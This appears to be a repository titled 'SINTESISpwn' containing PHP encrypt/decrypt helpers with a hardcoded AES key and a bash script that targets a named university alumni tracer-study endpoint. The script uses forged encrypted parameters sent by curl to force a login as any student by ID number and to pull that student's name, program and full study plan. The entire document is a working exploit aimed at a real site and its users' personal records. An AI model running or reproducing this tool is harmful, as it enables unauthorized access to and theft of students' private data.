SINTESISpwn

decrypt.php

<?php
  $key = "0123456789abcdef";
  $iv = "66656463626139383736353433323130";
  $ciphertext_dec = hex2bin($iv.$argv[1]);
  $iv_dec = substr($ciphertext_dec, 0, 16);
  $ciphertext_dec = substr($ciphertext_dec, 16);
  $plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);
  echo  $plaintext_dec . "\n";
?>

encrypt.php

<?php
  $key = "0123456789abcdef";
  $key_size =  strlen($key);
  $plaintext = $argv[1];
  $iv_size = 16;
  $iv = "fedcba9876543210";
  $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv);
  $ciphertext = $ciphertext;
  $ciphertext_hex = bin2hex($ciphertext);
  echo  $ciphertext_hex;
?>

parsejson.php

<?php
  $handler = fopen("php://stdin", "r");
  $json = fgets($handler);
  $json_dec = json_decode($json);
  echo "Nama : " . $json_dec->rvisits[0]->NAMA_USER . "\n";
  echo "Prodi: " . $json_dec->rvisits[0]->PRODI_USER . "\n";
  echo "NIM  : " . $json_dec->rvisits[0]->NIM_USER . "\n";
  fclose($handler);
?>

sintesispwn.sh

#!/bin/bash

function s_log {
	echo -e "\e[1m\e[33m$1\e[0m"
}

s_log "SINTESISpwn 2.0\n"

function getinfo(){
	curl --silent \
		--form zmodul="1a1ea16f561b829520ec9fd3bd8b91b4" \
		--form zidvisit="$1" \
		http://alumni.feb.ugm.ac.id/tracerstudy/application/third_party/PHPExcel/Writer/Excel2007/Writesheetmhs1.php

	echo ""
}

function getstudyplan(){
	curl --silent \
		--form zmodul="362d890837274b0638dc303915c2bfbe" \
		--form zniu="$1" \
		http://alumni.feb.ugm.ac.id/tracerstudy/application/third_party/PHPExcel/Writer/Excel2007/Writesheetmhs1.php

	echo ""
}

function idreg(){
	curl --silent \
		--form zmodul="354e8f50e82eea08a1a9b67a11c3d7c4" \
		--form zidvisit="$1" \
		--form ziduser="$2" \
		http://alumni.feb.ugm.ac.id/tracerstudy/application/third_party/PHPExcel/Writer/Excel2007/Writesheetmhs1.php > /dev/null
}

function z_enc(){
	echo $(php5 encrypt.php $1)
}

function z_dec(){
	echo $(php5 decrypt.php $1)
}

NIM=$1

s_log "Forcing login..."
idreg $(z_enc fuck$NIM) $(z_enc $NIM)
s_log "Getting basic user data..."
getinfo $(z_enc fuck$NIM) | php5 parsejson.php
s_log "Getting user's complete study plan..."
getstudyplan $(z_enc fuck$NIM)

USAGE

$ ./sintesispwn.sh <NIM>